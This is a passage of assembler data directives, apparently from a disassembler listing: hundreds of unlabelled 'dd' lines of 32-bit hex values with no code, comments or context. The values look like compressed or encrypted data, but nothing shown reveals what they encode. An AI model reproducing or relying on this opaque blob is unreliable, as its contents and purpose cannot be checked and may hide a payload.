		dd 398D2909h, 68AEA02Fh, 81801F69h, 10532B8Eh, 5AEAC8h
		dd 34D64402h, 0D36C2E7Ch, 0B2564724h, 69780325h, 6E3E4B9Fh
		dd 37250F79h, 0A3BAA19Ah, 2D24DAF9h, 2D8D2F89h,	0CCFF0A85h
		dd 0E5248014h, 2A2505C1h, 8B944DF5h, 8CB9C1ECh,	90FDACC9h
		dd 3DD203Eh, 0EF00014Fh, 94290271h, 5E0F5074h, 8A0C428Fh
		dd 0EB4090D3h, 0A1B620C1h, 6AB760E1h, 54F95970h, 0F090E823h
		dd 955074D3h, 221F86B7h, 4F9D961Dh, 0DA5DF201h,	0B86C6B8Eh
		dd 0E021F6D3h, 0B890F396h, 8EDA5EEDh, 0C01A8861h, 8ED0CC07h
		dd 4AF0E317h, 0C7B9A50Ah, 5AED9542h, 8BEE0F2Bh,	3FB8E9C0h
		dd 1200BA58h, 0A0E171Dh, 5EB8A28Ch, 11B87A3Dh, 54A8B155h
		dd 9529128Eh, 18EDA135h, 334BB6F9h, 6B80FADBh, 0D180CCE7h
		dd 8BB42D69h, 12AB6682h, 3A58E0FBh, 91423E4h, 0F6F2E860h
		dd 0EFCFB300h, 0E1810F1Fh, 0D08B03B5h, 8C25B1Ah, 0B1C3A087h
		dd 416935CAh, 0B94F8286h, 2458D232h, 23182Eh, 0B7D1C281h
		dd 897C68C7h, 260B2EF1h, 0F0A627BAh, 0EC73EA96h, 14C22483h
		dd 79651184h, 5210E7FFh, 500925CAh, 0A5AFF64h, 2F89DDE1h
		dd 3BA69417h, 0C22B580Ch, 6D98F01Ah, 3813C490h,	0AB35A4Dh
		dd 50018C48h, 81D0033Ch, 9345D93Ah, 42238419h, 1EF0852Dh
		dd 67D95CE9h, 9DD0C88Ch, 34031540h, 0D14F3C40h,	317B5D0h
		dd 12ACCF8Bh, 50C4069h,	1C5BF86Dh, 0DCD103E8h, 4D1B5B20h
		dd 121008DBh, 64142E01h, 59CCC8Fh, 8C04C483h, 8B4C5161h
		dd 81100573h, 1418B0A9h, 243359B5h, 85FC3C0h, 0E0B22715h
		dd 50775624h, 93BC6847h, 0A8774DA5h, 7B279530h,	0D3EBBC25h
		dd 5F9B604Bh, 4AC49F89h, 0AF9AB800h, 0F92AE11Bh, 33D802DCh
		dd 9D629391h, 9F404D6h,	0F3BB9F64h, 19900895h, 0E8B138C8h
		dd 0EC042A35h, 0EB3266Ch, 381417F1h, 0B0460920h, 0C925893Dh
		dd 0DEDEA10Ah, 488FF4Fh, 0C65B00A7h, 6612ED9Fh,	787A1D0Dh
		dd 249AC595h, 1818820h,	0EDE8F885h, 0DE26C0A1h,	3C15CDF1h
		dd 0DE0592B1h, 91B40419h, 2E0096DDh, 0CC01DCD6h, 23B35497h
		dd 0DC6CAFF8h, 0EB606280h, 9F091AE1h, 807E08D1h, 8FB8F4B3h
		dd 3DBA0C85h, 29D782E8h, 104ED990h, 0BD717493h,	89494F08h
		dd 8156BD33h, 3B65E88Dh, 73C9EE43h, 97FFB228h, 0C1C7E56Dh
		dd 806EC043h, 4CA40A0h,	2DB52994h, 0DE810009h, 1A1554A8h
		dd 7D27E834h, 5DC8BDEh,	0E18D01E5h, 7D710912h, 4E5331A9h
		dd 1DFA570h, 0A62FC6EBh, 2B1D8D09h, 9CD3B593h, 7546C812h
		dd 0D26EE200h, 0DBDF157Fh, 82A764CFh, 0B87BEA41h, 583DB00h
		dd 0C2BE0325h, 0C1D97506h, 0A7F94E8h, 0F418D29h, 52051377h
		dd 0B89ABD77h, 0CD85501Ch, 0FEBE00E7h, 0E8235667h, 0EF95065Eh
		dd 0FC6F4287h, 22658A40h, 58A94384h, 8C1BB8E4h,	0A252B900h
		dd 0C8A5464Eh, 266F43Ch, 0E85FF78Bh, 9F5E0608h,	28BC00F4h
		dd 7C26C82Fh, 645CACA0h, 0B7C2C00Eh, 0C5C6B52Eh, 485FCF6Eh
		dd 0CD2901B8h, 73C17180h, 24DAA9A1h, 67A09Dh, 0F53AEB03h
		dd 811A1E12h, 6D57B5E8h, 7ADBE61Ch, 41A3120h, 35366BEh
		dd 68E217h, 0DA506123h,	9A3A6Eh, 1A8DC29h, 1A03E192h, 48BD8B2Fh
		dd 6BE8594Bh, 0DE908F6Eh, 1E01CB32h, 7F678B18h,	72933090h
		dd 3896E2D9h, 6FE84031h, 0BDA23F4Fh, 0F29029E5h, 8CB62355h
		dd 3B1AB2A4h, 0E94AC029h, 0D9A0A9DFh, 9B5F6D28h, 0F94C838Eh
		dd 0C7523C9Eh
		dd 1300C524h, 808DDE05h, 9E634A77h, 0F1D31236h,	9C9FF4E9h
		dd 126ADB03h, 0B0581D2Dh, 63C5D26h, 6C53225Eh, 8D20CAC6h
		dd 5160251Fh, 9F38D010h, 5BD92F07h, 3320FF40h, 55F5C19h
		dd 0E861C78Bh, 0D5968CB0h, 2C090F40h, 85D77195h, 0A7049FE8h
		dd 6665A197h, 546E067Fh, 0A54E6608h, 9B2FFDA1h,	71C09F68h
		dd 0B4829C94h, 3225901Bh, 4AAB32CDh, 20DE702Ch,	0A92C2F96h
		dd 26F68012h, 5447CBBh,	0B25751F6h, 0B336006Ah,	2891C685h
		dd 1E5903AAh, 8EC0B9Eh,	335417E0h, 0F8176D71h, 6BB6B05Fh
		dd 312310F1h, 6000F6F9h, 1280F98Bh, 0A86115F5h,	0E96E4F1Bh
		dd 1D5BDF25h, 2721C108h, 0C3209E8Fh, 0D295C5BFh, 11A1144Ah
		dd 80AA9B2Eh, 922A806Fh, 404B79DCh, 8A25EE5Dh, 9D485863h
		dd 80CF7A4Dh, 23CE08C1h, 0BDAB48E5h, 169D7579h,	0F6D82B1Ch
		dd 701AE07Bh, 206BEB49h, 17EC28ABh, 29622707h, 0A5E9F8B4h
		dd 0DB0559F2h, 0BE6F241Ch, 0ADE1252Dh, 0FDDC3B13h, 0D690B55Bh
		dd 0B700243Dh, 0E082D050h, 1C28879Ah, 87D60C30h, 0DCE3AEBCh
		dd 8D17CB90h, 0EDF32D95h, 0F8301DE2h, 36140045h, 26EA8E39h
		dd 0F27AB0Eh, 0A0C486h,	0BE1A89F1h, 5D07294Eh, 42D185ABh
		dd 707DEC04h, 1278563Ch, 5DA1559Dh, 0E01D969Fh,	26800F25h
		dd 934AF976h, 9C3C7825h, 297DE4B0h, 99805D8Bh, 0D2FAB7B8h
		dd 1C510D03h, 1BC88B7Eh, 5B2075B2h, 19D449B2h, 87F91025h
		dd 8E29038Ch, 9D9F761Ah, 0A20158E0h, 21EA1B01h,	0FFB531B0h
		dd 0A860E098h, 75820719h, 363D2F90h, 8A7CB004h,	0C280A491h
		dd 0A0899F42h, 4A5EC8A8h, 624FC861h, 0B7DC3E00h, 0F3AAFA18h
		dd 8A630316h, 0DDC5891Eh, 628BFD3Eh, 5315E1B8h,	583AD08Eh
		dd 0DEA0FE0Fh, 591C90Ch, 266B1A70h, 0E0CDA900h,	3467FA3Fh
		dd 85A0DF28h, 0D915C92Bh, 40276DADh, 56FDEABFh,	36A5EC0Fh
		dd 3125760h, 68C17494h,	0F8FB585h, 0D5C43361h, 2D468826h
		dd 35BE6688h, 0B0E20780h, 34611512h, 0BDB50399h, 883A8165h
		dd 0D6005718h, 862BAC35h, 3802DC7h, 233C3078h, 0C7ED8CD3h
		dd 0ADB51167h, 7E8BAA1Fh, 6D972A77h, 825AE1BCh,	4877360h
		dd 0AC9ACFB8h, 9D60CA87h, 36958B46h, 0CEEF2B29h, 0F6BF0F1Ah
		dd 74837CCAh, 0E001746h, 1FCA6EAh, 12520D8Dh, 2139109Eh
		dd 81BD2905h, 1AE54B28h, 0F270A3FBh, 6619F68h, 590A2320h
		dd 917498E9h, 0D8699332h, 340130E0h, 0E1CE96A6h, 3E0912E7h
		dd 0C4002C6Ah, 8DE53579h, 0D01723CBh, 6AE0837Fh, 14A04C5h
		dd 2621D185h, 95E92FCCh, 10F24E93h, 0BD896581h,	4C47737Dh
		dd 8C18E856h, 7D683906h, 287EE88Ah, 4282241h, 0F162CABFh
		dd 0EC55E872h, 0F1138C16h, 2D13D31Bh, 27A54E04h, 7156291Fh
		dd 0E4181Bh, 438B542Fh,	0B3A1E1Dh, 8015B52Fh, 0A7D78144h
		dd 27DD0BEDh, 92B7C58Ah, 0A8094796h, 2DFEFEA9h,	0FF42AA4Fh
		dd 9B51A9h, 9A91082Ah, 0E40EC6DEh, 4CB5B248h, 8214BE33h
		dd 99D0697Bh, 81468412h, 222021B4h, 0AD4219B0h,	0FB3E62D9h
		dd 276278D8h, 0D12F8702h, 758C0FF8h, 80E64818h,	0D4D2C269h
		dd 41536951h, 97EB370h,	6F55F49Bh, 504E45D8h, 10B1D88h
		dd 652E2753h, 2F9642C7h, 71E7CE90h, 48DB24B9h, 4F1AF671h
		dd 203C2CD8h, 0B4BE1D38h, 88950CD7h, 7DE03215h,	64E0FE8h
		dd 110E926Eh, 368BD33h,	0F2724027h, 0B5CD0A21h,	17D5614Ah
		dd 0C0B89169h, 0F7228005h, 52501ECFh, 5FD8308Bh, 298509F9h
		dd 0CD97EBA4h, 0EA7BE347h, 70028EE8h, 5DB633F2h, 73BC9F40h
		dd 191F832h, 0A2121192h, 0C8A5DD8Eh, 6878488Ah,	6AE4BC16h
		dd 7EF033B6h, 4302B44Ah, 0AFDC9694h, 79B2E0CDh,	3AF5811Bh
		dd 0C34C8BCDh, 5F6F00E6h, 706EF0E7h, 2E1CA93Dh,	5A678D37h
		dd 7025BB99h, 0E596CCF0h, 0F977EB40h, 67BA00E7h, 8117F674h
		dd 0C007B431h, 79731960h, 0BD87B9D4h, 5B022D24h, 0C47D1FFh
		dd 4C601844h, 0A3283045h, 0E317F855h, 0C2A3A20Eh, 80440120h
		dd 0B771FA23h, 0FA022224h, 1AFDB020h, 0ED620043h, 0C39C23B7h
		dd 90CD6ADh, 0A732B1BDh, 20574A90h, 61978F29h, 0E0623C00h
		dd 0BD284ABAh, 3DE904E3h, 0BF5B38A8h, 0BF66CA00h, 590FB4F8h
		dd 6A1E7431h, 48B8C441h, 0CD09BF67h, 0CFDECD90h, 42E7D180h
		dd 31E0E5F6h, 34BD2B8h,	0F158444h, 100F2E1Eh, 9CE9092Bh
		dd 586DDC0Ch, 82823287h, 16B98Eh, 10759D03h, 93889EBEh
		dd 0DF800092h, 536090ADh, 6343AA9Eh, 3957F009h,	190A00BDh
		dd 4116D1A5h, 0CE005C99h, 0BF605A8Fh, 72BB3274h, 0E747074Fh
		dd 1A6140B5h, 860F8696h, 84EC4F06h, 0BA7651A2h,	13266E88h
		dd 2092EC90h, 0CBA5BE1Ah, 9FC0CA4Dh, 269DDEAh, 96D52A95h
		dd 95FE5B3h, 0FB16C2C6h, 8B0F0BD0h, 118999D1h, 6923DE51h
		dd 25DEDB76h, 6350412Fh, 6AA1A395h, 0DDB588FFh,	0F4ABB41Ah
		dd 6A565301h, 7F99D89h,	11351022h, 1690CDDh, 15ED80D9h
		dd 0D10183B2h, 0FD06FFD6h, 68B1C45Ah, 27B0A526h, 0BA007012h
		dd 0E4D522CBh, 0DF0ECF71h, 0CCD42AE9h, 2227E294h, 262E070Bh
		dd 51599ACAh, 0DC7C70A7h, 0B6270F08h, 0C1A399C8h, 2E49C041h
		dd 2FAC893Ah, 9196888h,	0C51F055Dh, 7FC13B89h, 2C00718Bh
		dd 0C82B0333h, 0D8CDD780h, 9C8D0FD1h, 0E9FE42BFh, 516D99D7h
		dd 85A90FFAh, 7C4BFDCBh, 162923E4h, 2027ED8Dh, 360072Dh
		dd 2AE1B516h, 0D86188C8h, 3BD9601Ch, 16FED064h,	93380024h
		dd 0B675D182h, 53510F7Bh, 50842A4Ah, 5B5C76AAh,	84204895h
		dd 65518A3Bh, 8EB1E800h, 984DD3F2h, 0BF72002Bh,	766B1D3Dh
		dd 25A1A583h, 0F5C33FEh, 67658Eh, 2C86AE89h, 0ED240383h
		dd 0C81D9DF9h, 0D80F2DCh, 37E9E1B7h, 12B58DC0h,	0BD0EBDD2h
		dd 589ABC3Ah, 0AB06CA22h, 464D5772h, 4540B4B6h,	0DE0BC0h
		dd 29B74385h, 0DDE124F7h, 0CB7B6E05h, 75AF5301h, 844BDA48h
		dd 180B48Bh, 910713B9h,	0F3E70AE0h, 14FC17B3h, 0D9CF15D1h
		dd 8784E936h, 250865B5h, 0C4AF3659h, 6EC89FB3h,	2B802961h
		dd 0FEE3A0D2h, 0C23318ADh, 83D0B2D1h, 7504E90Bh, 8000B7F4h
		dd 6EA97D41h, 0CE12424Fh, 22089815h, 0F473A791h, 4031FE72h
		dd 880D869Fh, 0B2A91FD6h, 0FA343FB9h, 173520BBh, 51143003h
		dd 7A8CD49h, 77BBE307h,	0EEC9D28Eh, 0B808C47Fh,	0A8F64E3Dh
		dd 6A3BC7E0h, 0FB7F205h, 0E481FBBFh, 5F842049h,	3E01198Dh
		dd 0F9131423h, 0FE0012E2h, 0A02634B0h, 8A00FD36h, 0E5DCD468h
		dd 39505F8Eh, 180DC28Bh, 0E308C103h, 190296A4h,	12405848h
		dd 80C2D77Dh, 2DF72A29h, 0B795EB52h, 0B8F90EA5h, 1A084F11h
		dd 9F72C0Dh, 605B4DD7h,	5B82D0h, 9C066C93h, 0B7AF6654h
		dd 0F680CD99h, 0DE4F3A05h, 81450761h, 80BA8CF3h, 29E1FF39h
		dd 341B512h, 1009F9D1h,	4C807953h, 1910558Bh, 11A5808h
		dd 45F09BD7h, 61D1B70Fh, 81011D48h, 22DB157Eh, 37406380h
		dd 0F2543CFh, 60D1A089h, 0A6EFE280h, 53035C38h,	0DE2BE976h
		dd 0E00C8FE5h, 2BBDA0F3h, 9B604B31h, 2808B8Dh, 919114Dh
		dd 442F99DCh, 0DDC0006Ch, 0C513F8F7h, 4C02B34Fh, 80D4F9F2h
		dd 0D169D1E1h, 7EF51916h, 0A3F457Eh, 0BBD07C9h,	6F60901h
		dd 4D5802DEh, 0D88B3168h, 0DA7DC0C1h, 0DF0FDB0Ah, 0FEED2E33h
		dd 961B3767h, 803DBCBDh, 0A008D39Fh, 3AD00078h,	0D7163F6Ch
		dd 2E02B997h, 8A0BC5C7h, 0E00409DEh, 66500024h,	9C5101BBh
		dd 71063B1Dh, 903CD5D1h
		dd 0D9DAA6CBh, 3FF05ADh, 892A911Fh, 0DF0030F9h,	0D09BA7E5h
		dd 0B474F3D5h, 82B28B09h, 0FEE91977h, 5113EC22h, 0BC00ED5Fh
		dd 97F601F4h, 0C430D0CEh, 7422D73Eh, 40D4960Dh,	766D12AAh
		dd 96A4CCF1h, 34705BDh,	8907718Ah, 7FA81D85h, 503EBF87h
		dd 952934F0h, 12D4554Dh, 5561BE9h, 22999E0Ah, 3915850Dh
		dd 4ED5088h, 1814C71Ch,	0EABB017Bh, 19B58BC0h, 0E1851641h
		dd 49E6FD55h, 0EF0C77E0h, 7B601200h, 32E78135h,	8933736h
		dd 93F09A88h, 1574E489h, 71429B8Ah, 46164428h, 2DFEE1A9h
		dd 285A51ECh, 3EEC414Dh, 2434B1C1h, 0D919D086h,	0D1CB56FFh
		dd 2ACF040Bh, 2506807h,	9B668D09h, 0A7B08701h, 633D792h
		dd 0AF19017Eh, 7E731603h, 0EF0F116Eh, 13C1E92Fh, 2ACDC85Ch
		dd 2609CFCCh, 941C0D85h, 0F1D6ED8Dh, 909ECC76h,	5AB7E4C6h
		dd 54E850E2h, 9B601F72h, 5125286h, 0ED5FF8D9h, 90657683h
		dd 14F1C166h, 4C232659h, 63C02D0Eh, 91AC1BE0h, 0EE0BBFD6h
		dd 7B61D0BBh, 8809712Ah, 9213174h, 0D59B85C7h, 41DF2948h
		dd 31343471h, 18DB18D6h, 0B0416FC0h, 8B90A011h,	0E9BC2297h
		dd 42015C21h, 50010D2Dh, 41300C30h, 1E01E644h, 0B310E8C1h
		dd 4C83020Eh, 295803F1h, 0EBE70D08h, 4DE3636h, 16EE3964h
		dd 29501B33h, 18214028h, 113CD58h, 801B0957h, 0D3BBC0AEh
		dd 0B1346D71h, 51854175h, 24DE3E04h, 0BD0B4B80h, 0DE822011h
		dd 4D85C1B7h, 0D12C041Bh, 453BAF16h, 98D81BAh, 38D5290Ch
		dd 0CA4241E1h, 0D36D291Dh, 8EA6DCC0h, 30AAB819h, 955712E5h
		dd 4F9D083Dh, 0CADC4063h, 0AB271468h, 0A80779BCh, 32D5316Eh
		dd 9611B5C9h, 0BFF1C7BDh, 0F9B70480h, 5C8CBF96h, 0C623BC24h
		dd 0B76FFB1Eh, 3C8E0031h, 94EB05E1h, 99131E2Bh,	211E9524h
		dd 417A7AA8h, 81144DACh, 4981A9EBh, 121D12A7h, 83A0DDA7h
		dd 0BD2A232Bh, 8917AF75h, 64E2C486h, 16BAFE25h,	3FD6215Ch
		dd 6ECEC283h, 0A5B6026Ah, 0C82D9D29h, 1C78121h,	12C26C0Ch
		dd 2A205089h, 0C83759Bh, 32D0B1EDh, 1044E9CEh, 0A641078Dh
		dd 500E5CD9h, 32DD5D21h, 3CD04A0Fh, 4A127643h, 0BAEEE902h
		dd 459ECF0Eh, 0A2B8016Bh, 6AB2211Ch, 278BDA8Ch,	92A4499Dh
		dd 7932B586h, 21B88Eh, 514EC711h, 0A57FBBDFh, 6A302C13h
		dd 9DBC44ADh, 0BE49890h, 1CD1F693h, 3D53FC19h, 5031A01h
		dd 8AB935A5h, 0CFDD807Eh, 0B3B6B2EDh, 1DEB76Ah,	0F36EC510h
		dd 0D498D91Ah, 9D258D89h, 0BF3E2105h, 2C757684h, 0B2DB7842h
		dd 0D4BEDC6Bh, 0F2C82B17h, 0F9F8530Fh, 64C2F5C4h, 21913BC4h
		dd 3B233042h, 27BA2CBFh, 0EA467185h, 0D2913001h, 9A73A4F8h
		dd 63222EFh, 0BDC81ECh,	32C35F1Ah, 0CEB5555Eh, 26AAB01h
		dd 29739BB4h, 2DA00300h, 0BE632AB3h, 2EF32205h,	0EEE20119h
		dd 23F8A700h, 0CBB4326Fh, 0B9C34802h, 46605F82h, 0F5D0EADh
		dd 3280F423h, 85D8EECAh, 0F8319D02h, 0F1EA613Dh, 83AA44Eh
		dd 513F2781h, 736ADEA1h, 0D0B77Dh, 8DCC32D7h, 3FB4870Fh
		dd 0F66EDF45h, 2D091523h, 5ADB8B80h, 8360B7CBh,	0B6CDB6EBh
		dd 0B75B178Dh, 0E74E35CCh, 274D03Ah, 36D8F7F3h,	0F123400Ah
		dd 2028117h, 0F7812021h, 382C133Ch, 0C5080E22h,	0E5D32F2Eh
		dd 16399504h, 0A891C60Bh, 0F08315A1h, 221CECB9h, 0C16193A0h
		dd 0F465E90Eh, 0D38021FFh, 0D6EA8B7Fh, 0FD06DC9Bh, 0C7382E90h
		dd 6169305Ch, 0EC0BEFEAh, 0DBD5BA95h, 0F94951C7h, 24E72503h
		dd 50802FA8h, 12F84E8Ah, 8DD18834h, 2E0937ECh, 0E3DFF435h
		dd 0DE809816h, 20A2B8E5h, 0A4C319E1h, 4F4129BBh, 0E076F622h
		dd 1F26DD6h, 8C3BD170h,	3A27FFBDh, 39BB78D8h, 0AD852B9Fh
		dd 2636F79h, 0F40F587h,	81A9B777h, 0D97379DAh, 0D7C2F527h
		dd 705D417h, 0F6927CA9h, 5CCEA0BFh, 1F20F9F5h, 104119h
		dd 904A9EE7h, 8020E848h, 384C4173h, 95FF2C5h, 9010B350h
		dd 0A470C6D3h, 6B0902Eh, 114C7480h, 6C9448F5h, 895709DCh
		dd 45221B5h, 0DE6DBEh, 3E390603h, 9B90F069h, 0C6E99625h
		dd 0FF3A950Fh, 0D44B7Eh, 0F0A31DC6h, 0CCAA8D8Ah, 85095004h
		dd 0EEAC12A5h, 0A8958493h, 292CA2CCh, 0CC61EB09h, 66900213h
		dd 6C7203DFh, 56365B37h, 21A715A0h, 7AC54B58h, 0B0D2A9BFh
		dd 0FD8D29C5h, 0B747D12Ah, 782C2B0Eh, 0D84041FFh, 501213EBh
		dd 9DB4233h, 559BA580h,	8F500F4Ch, 6613605Ah, 6716F38Bh
		dd 9561A2B4h, 7C90A299h, 59409FC9h, 0ACC1C05Bh,	8F343A97h
		dd 64639FAh, 0E4E6AD25h, 0AC48AE00h, 51DA354Ch,	3900433h
		dd 0AC0961BDh, 24A3A485h, 0E19D3304h, 0A466AC1Fh, 366EEAh
		dd 800B92D3h, 19532CB6h, 0F21FE676h, 84352BDAh,	0CFBBB803h
		dd 0E0BDDD6Ah, 6700D7B8h, 0B2C23DCBh, 98D0D137h, 45299F99h
		dd 1A499082h, 48F438FCh, 0A910B37Ch, 395C6213h,	51915603h
		dd 0CC6E0988h, 8848666h, 22F98D09h, 7F48B017h, 3F46A508h
		dd 465F512Dh, 0E6F512E0h, 0D9980B70h, 0C2C3414Ah, 71E47901h
		dd 9523F960h, 6103927Eh, 3E9BAE56h, 0A59D9947h,	172A4965h
		dd 522313A4h, 2CAAA699h, 2A10A029h, 7F9AFA6Dh, 4A8BB98Ch
		dd 0BDA7D0D9h, 7E8419EDh, 82D844FCh, 844282A6h,	45FDBC50h
		dd 53790128h, 6AF6615Bh, 0E0095F4Ah, 0A7C94A38h, 4221F920h
		dd 819F5013h, 946F63Dh,	5A610833h, 0BC15F3A8h, 0C89C808Ch
		dd 34F08Dh, 0EE7AFDE6h,	0AD656C48h, 60E29813h, 7D00CAA2h
		dd 0F8677EE7h, 0A8008463h, 0CF4F1179h, 0F4EC144Bh, 0B9C80198h
		dd 0E95F6189h, 0F8379290h, 5C005DE2h, 9939BBDDh, 60BE5E4h
		dd 5E0A5B3Bh, 38596B63h, 569D8800h, 6171CCh, 0C13A4FD6h
		dd 0BF7BF266h, 6099FD09h, 10EC5978h, 84138859h,	0C09030BCh
		dd 9156D8BDh, 0F9F5800h, 313D4855h, 20240518h, 9A58372h
		dd 0C1D1FE3Eh, 9C9E200h, 89AD7Ch, 0DB2E454Ah, 4D5C062Ch
		dd 38CB4400h, 0BD331B7Ah, 450D41C9h, 9531ACF8h,	8C0F16E5h
		dd 0FFBFC94h, 0AAC4DF79h, 830AB95Fh, 0ED0EC6BEh, 2AC1D49Bh
		dd 20B0F049h, 10B72547h, 448A0FBCh, 9895FC01h, 7E8D31FDh
		dd 0B0CDDB9h, 0FDEF0DF1h, 75147240h, 0BFFE02FBh, 479BC2A4h
		dd 0B725055Ch, 0C66D0019h, 0D09E75C9h, 0A06E200Bh, 0DC0276FCh
		dd 2E2BD400h, 368D5EA1h, 820EB7C0h, 22240648h, 0D6400211h
		dd 0C02B2761h, 0BB0961B7h, 317D82C9h, 0D22B0210h, 14E5CA40h
		dd 785D5682h, 504ADF80h, 82895E9Bh, 0DB00FC71h,	1673609Ah
		dd 14B800E3h, 9DEE097Bh, 0C0153AECh, 166CB6h, 2DE3A1EDh
		dd 0F3C284h, 4027654Eh,	916C14CBh, 0D011609h, 1C4E9688h
		dd 25099D89h, 0FBA72FC5h, 28235009h, 40231A97h,	820AF9B8h
		dd 9756FA54h, 0DCC0746Dh, 2FF6717Bh, 0BD0953CAh, 2E4F4F41h
		dd 88251E28h, 15259D23h, 1E53EC14h, 0E5D5BD01h,	3A008CEh
		dd 0FF802179h, 0CF8102E1h, 464C20D3h, 0AE51D756h, 6E4ED26Ch
		dd 0B6C10143h, 9E78073h, 9BE8282Bh, 0EFF7044Bh,	0B8E4F6A0h
		dd 0D3059F7Fh, 96E6621h, 12D317EAh, 8DE8A24Ah, 8104712Dh
		dd 60ABD2ABh, 0BE71DD53h, 0C7C6152Bh, 1E5865BCh, 856EC05Bh
		dd 6F0BF953h, 2B808AA1h, 30176FEEh, 9FE96500h, 8A192DD6h
		dd 0E1802FF8h, 40EF2DCDh, 1EAE518Fh, 306C28C5h,	926FB684h
		dd 0ED340757h, 0FB5A195Bh, 0EE02247h, 0B54A98A6h, 0A286F9D8h
		dd 25315623h, 9DECFF46h, 5C02592Eh, 5F0F4942h, 0DB80DB98h
		dd 62DE6A5Ah, 8720FF83h
		dd 62AEE800h, 37D3C468h, 596C861h, 0AF9904BFh, 16BE6BF0h
		dd 284B0CDBh, 144A8B24h, 0E4C01EBDh, 0C93890B7h, 50F6C713h
		dd 5F2568F3h, 19BC8E46h, 511F02DCh, 3A89BD5Eh, 0C419A70h
		dd 17F9F941h, 0DBDB752Bh, 0E6CD87F4h, 4E1026F0h, 66921744h
		dd 0A415128Dh, 2A25E98Ch, 0C07E7E02h, 0D39A04BFh, 6C745501h
		dd 0E27F3F1h, 7294A5E4h, 987D65A0h, 4AABA9F5h, 883E12CDh
		dd 1A002C49h, 9750D47Ch, 0EB4178h, 0C36522F0h, 0C17A5E04h
		dd 6259A617h, 0E54B7B30h, 0CC570043h, 32B8A180h, 4A001D17h
		dd 0DA9DE491h, 97222DA9h, 9400CBE4h, 860D9980h,	0EB1BAC1h
		dd 5F5B88C8h, 5E4FE552h, 0DEFDD671h, 0A96AD54Ah, 7466E8AEh
		dd 29C890B8h, 0A5991335h, 0DAE18F6Ah, 509B7A89h, 0FC5AA7C2h
		dd 916C54Ch, 0CD9191BDh, 0F0140583h, 0BF4B2AF7h, 0B99B8785h
		dd 0E743FC0h, 77947C49h, 218AAC40h, 981A0050h, 14D0D2F9h
		dd 0A7ECB793h, 0D6171500h, 0BB5066F5h, 0D5AD0475h, 0FB348946h
		dd 13009E6Fh, 0C56A6452h, 964C4A70h, 0E2DB2C37h, 0EA12DB3Ch
		dd 104DDB3h, 4021DD85h,	9131577Bh, 80D84B8Bh, 0EDAC84D3h
		dd 0E8836E58h, 0E3008C1Bh, 557D15D5h, 970CC57Eh, 0A8BDC72Bh
		dd 5D33C402h, 0D6045F67h, 8D090206h, 4169747Dh,	15C1A3BFh
		dd 5C836EFBh, 34C45B4Ah, 6A5F668Ah, 0EA080704h,	6246B590h
		dd 6E3D45B8h, 32F1EB04h, 38BB6601h, 0F22D2E52h,	25C9369Ch
		dd 3E1227C7h, 459072BBh, 0F587DF61h, 912E82Fh, 0C5A1701h
		dd 41E948C0h, 0B0C0B72Ah, 0E45A253h, 9D298836h,	5791B49h
		dd 0BF0F05DDh, 2526A8D8h, 0D0E9D319h, 2700B2D2h, 93AD6ED7h
		dd 2EBD897Eh, 70BF0AFDh, 81889E85h, 75BC0AEBh, 5AE318DEh
		dd 4DAFBAD6h, 435EC090h, 0D7287906h, 0BD25CCC0h, 0AF13650Ch
		dd 950E1735h, 373F8463h, 0A2D004BCh, 211AC517h,	2E2B6159h
		dd 1A29675h, 1A983500h,	9A5FECD0h, 4BB3DC00h, 0AFDDA808h
		dd 41C7BA24h, 0FD332B14h, 0A639E0BFh, 6096134Dh, 9C70850h
		dd 0E9A2180h, 133F1697h, 0A1748110h, 807D6CE6h,	0F2D6DA28h
		dd 0F8EAA30Bh, 24506158h, 26EB5653h, 9B961685h,	10E581DBh
		dd 108555F7h, 6197C623h, 6B890FB3h, 7B1A931h, 0A929752Fh
		dd 2FFB861h, 90B5A850h,	1E60E8D6h, 74820509h, 54004E61h
		dd 0E112D6BAh, 104C8348h, 5F2B1359h, 0DE6F26CEh, 3153DD05h
		dd 0DA1CC856h, 4F480E50h, 4B190510h, 18898A8Dh,	6D7B29DDh
		dd 0C7ADEDAFh, 0BA9DD098h, 0FD0B9CE5h, 660AD0E8h, 98719852h
		dd 0EF8296F1h, 0F55AA55Dh, 0F850297h, 0C91B8E8Fh, 89B5518Dh
		dd 6C784E48h, 0C2AECD9Dh, 515E0959h, 0D4D5FCE9h, 7F013F00h
		dd 110D128Ah, 0B7542C7Bh, 7C5E0910h, 53974C78h,	9997D88Fh
		dd 25B1E0A1h, 493B2EE6h, 77001C23h, 0A72ACF48h,	763F3A0Ch
		dd 0E1E2DBh, 37B57944h,	0ADCEAAh, 7592CD73h, 3630529h
		dd 0DD8A9C09h, 5A9A735Bh, 0C86BB938h, 0D94B72B8h, 0DA3B58DDh
		dd 4A6E87B9h, 1CBC7E0h,	33552C8Dh, 6FADA66Eh, 0D1D29CE7h
		dd 30A68EBDh, 0AA0BF0E4h, 0A9EED8B1h, 0C0D14DDBh, 0F8D28C1Ah
		dd 8B7888ACh, 0E6E5DADEh, 81660463h, 0BC9FBDDBh, 0D551A268h
		dd 0FA821B3Dh, 0DCD098DBh, 132910A8h, 981D5096h, 0E19B72Dh
		dd 6206EC6h, 0D3676FBEh, 3384905Ah, 19884CDBh, 0BCF87AC0h
		dd 109B259Ah, 0E4B552E6h, 71A0267h, 1CF19FFAh, 1259CE5Fh
		dd 0B1018509h, 2F435D3Fh, 20E24452h, 0E0F5B64Fh, 90AEC8Dh
		dd 46141552h, 86461B79h, 0ADB7972Fh, 4FCDDE00h,	1C95E9ABh
		dd 6F60A4AAh, 0A62FC464h, 0A765CB9h, 398E2905h,	109D61C0h
		dd 6D4D2Ch, 0E4EA94D7h,	0BFCFE7Ch, 6143BA12h, 8F215EF6h
		dd 27A62C2Ch, 9EA7C697h, 111266A0h, 0DC91920Bh,	1D6402F9h
		dd 7A805E15h, 0E9D9C800h, 4FBFF249h, 8B2141F5h,	0B8072DC1h
		dd 0E18C2EDFh, 4B0B9079h, 9102938Dh, 0B6E2A03h,	2A4050F9h
		dd 6A953E82h, 0DCF0D6CAh, 76F4EE4Fh, 7E92BDE1h,	21479FEh
		dd 51160F45h, 9F74D80Fh, 2C8A97DBh, 11E6DE2Ch, 0DD1DD007h
		dd 60E35172h, 0D0F84489h, 0A3F35C8Ah, 0BA34BF03h, 0DF2F5265h
		dd 3108D901h, 88B0F78h,	38C33D80h, 16D6FCAh, 0DABE4B49h
		dd 302B400Ch, 0E5B501FAh, 93A72EF7h, 82FE9B5Bh,	4177D7F6h
		dd 5EFAE546h, 9078E91Dh, 0FF209C0Bh, 6C71D1h, 44EAF4BAh
